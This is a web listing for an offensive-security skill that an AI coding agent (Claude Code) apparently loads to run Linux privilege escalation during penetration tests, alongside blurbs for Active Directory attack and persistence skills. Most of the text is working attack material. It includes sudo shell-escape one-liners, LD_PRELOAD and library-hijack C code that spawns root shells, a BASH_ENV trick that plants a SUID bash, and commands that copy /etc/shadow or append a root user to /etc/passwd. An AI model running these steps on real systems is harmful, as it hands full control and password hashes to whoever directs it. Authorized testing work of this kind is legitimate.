acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
$ npx -y skills add blacklanternsecurity/red-run --skill linux-sudo-suid-capabilities --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/linux-sudo-suid-capabilitiesContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.
name: linux-sudo-suid-capabilities description: > Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. keywords: - exploit sudo - abuse suid - gtfobins - ld_preload - capability escalation - baron samedit - sudo exploit - sudo -l shows NOPASSWD - found suid binary - getcap shows cap_setuid - linux capabilities privesc - polkit privesc - CVE-2021-3560 - CVE-2021-4034 - pwnkit - polkit dbus bypass - pam_environment - user_readenv - polkit allow_active - udisksctl - udisks2 privesc - logind active session - loop-setup nosuid tools: - GTFOBins reference - gcc - python3 - getcap - strace - ltrace - dbus-send opsec: low
You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
If not already provided by linux-discovery, enumerate:
sudo -l 2>/dev/null sudo -V 2>/dev/null | head -1 cat /etc/doas.conf 2>/dev/null
Classify findings and proceed to the relevant subsection below.
If `sudo -l` shows `(root) NOPASSWD: /path/to/binary`, check GTFOBins for the binary.
**Common sudo escapes (highest priority):**
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano # Ctrl+R → Ctrl+X → command
# Pagers
sudo less /etc/hosts # then type: !bash
sudo more /etc/hosts # then type: !bash
sudo man man # then type: !bash
# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed # then type: !bash
# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'
# Network tools
sudo ftp # then type: !bash
sudo nmap --interactive # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash
# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash
# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copyIf user has sudo access but needs a password, check for:
If sudo allows specific arguments (e.g., `sudo /usr/bin/vim /etc/config`):
**Prerequisite:** `sudo -l` shows `env_keep += LD_PRELOAD` or `SETENV:` tag.
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}# Compile and exploit gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>
**Prerequisite:** `sudo -l` shows `env_keep += LD_LIBRARY_PATH`.
# Find shared libraries used by the sudo-allowed binary ldd /path/to/allowed_binary # Create malicious library with same name gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles # Execute with hijacked library path sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary
**Prerequisite:** `sudo -l` shows `SETENV:` and binary calls Python/Perl.
# Python library hijack mkdir /tmp/pylib cat > /tmp/pylib/os.py << 'EOF' import subprocess subprocess.call(["/bin/bash", "-p"]) EOF sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py
**Prerequisite:** `env_keep += BASH_ENV` and command runs via bash.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command /tmp/rootbash -p
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…